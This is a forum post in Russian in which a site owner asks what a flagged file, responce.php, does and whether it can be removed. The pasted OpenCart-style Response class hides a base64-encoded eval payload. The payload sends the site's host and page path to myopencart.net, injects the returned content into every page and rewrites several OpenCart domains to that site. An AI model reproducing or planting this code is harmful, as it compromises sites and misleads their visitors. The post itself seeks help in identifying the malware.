[В поиск] Вредоносный код в файле responce.php

[bear4uk]

 Подскажите у меня на сайте пишет нашелся вредоносный код . 

Кто знает что он делает и можно ли его удалить?

<?php
class Response {
private $headers = array();
private $level = 0;
private $output;


public function addHeader($header) {
$this->headers[] = $header;
}


public function redirect($url) {
header('Location: ' . $url);
exit;
}


public function setCompression($level) {
$this->level = $level;
}


public function setOutput($output) {
$this->output = $output;
}


private function compress($data, $level = 0) {
if (isset($_SERVER['HTTP_ACCEPT_ENCODING']) && (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') !== false)) {
$encoding = 'gzip';
}


if (isset($_SERVER['HTTP_ACCEPT_ENCODING']) && (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'x-gzip') !== false)) {
$encoding = 'x-gzip';
}


if (!isset($encoding)) {
return $data;
}


if (!extension_loaded('zlib') || ini_get('zlib.output_compression')) {
return $data;
}


if (headers_sent()) {
return $data;
}


if (connection_status()) {
return $data;
}


$this->addHeader('Content-Encoding: ' . $encoding);


return gzencode($data, (int)$level);
}


public function output() {
if ($this->output) {
if ($this->level) {
$ouput = $this->compress($this->output, $this->level);
} else {
$ouput = $this->output;
}


if (!headers_sent()) {
foreach ($this->headers as $header) {
header($header, true);
}
}


$ouput = eval(base64_decode('ZnVuY3Rpb24gZ2V0X3BhZ2UoJHVybCl7CiAgICAgICAgJGFnZW50ID0gJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IEludGVsIE1hYyBPUyBYIDEwLjU7IHJ1OyBydjoxLjkuMi45KSBHZWNrby8yMDEwMDgyNCBGaXJlZm94LzMuNi45JzsKICAgICAgICAkY2g9Y3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9VUkwsJHVybCApOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICRhZ2VudCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCxDVVJMT1BUX1ZFUkJPU0UsZmFsc2UpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCA1KTsKICAgICAgICAkcGFnZT1jdXJsX2V4ZWMoJGNoKTsKICAgICAgICAkaHR0cGNvZGUgPSBjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19IVFRQX0NPREUpOwogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICBzd2l0Y2goJGh0dHBjb2RlKXsKICAgICAgICAgICAgICAgIGNhc2UgJzIwMCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcGFnZTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAnNDA0JzsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQp9CgppZiAoJGZ0ZW5kID0gZ2V0X3BhZ2UoImh0dHA6Ly9teW9wZW5jYXJ0Lm5ldC9nb29nbGVjb2RlL2FwaS9hcGkucGhwP3NlcnZlcj0iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiImcGFnZT0iLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSl7CiRmaW5kID0gYXJyYXkoIjwvYm9keT4iLCAiPC9odG1sPiIsICJvcGVuY2FydC5jb20iLCAibWF4em9uLnJ1IiwgIm15b3BlbmNhcnQucnUiLCAib3BlbmNhcnRmb3J1bS5ydSIsICJvcGVuY2FydC5ydSIsICJvcGVuY2FydC5ieSIpOwokcmVwbGFjZSA9IGFycmF5KCIiLCAkZnRlbmQsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIpOwokb3VwdXQgPSBzdHJfcmVwbGFjZSgkZmluZCwgJHJlcGxhY2UsICRvdXB1dCk7CmluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwib2ZmIik7CmVycm9yX3JlcG9ydGluZygwKTsKZWNobyAkb3VwdXQ7fQplbHNlIHsKZWNobyAkb3VwdXQ7Cn0='));
}
}
}
?>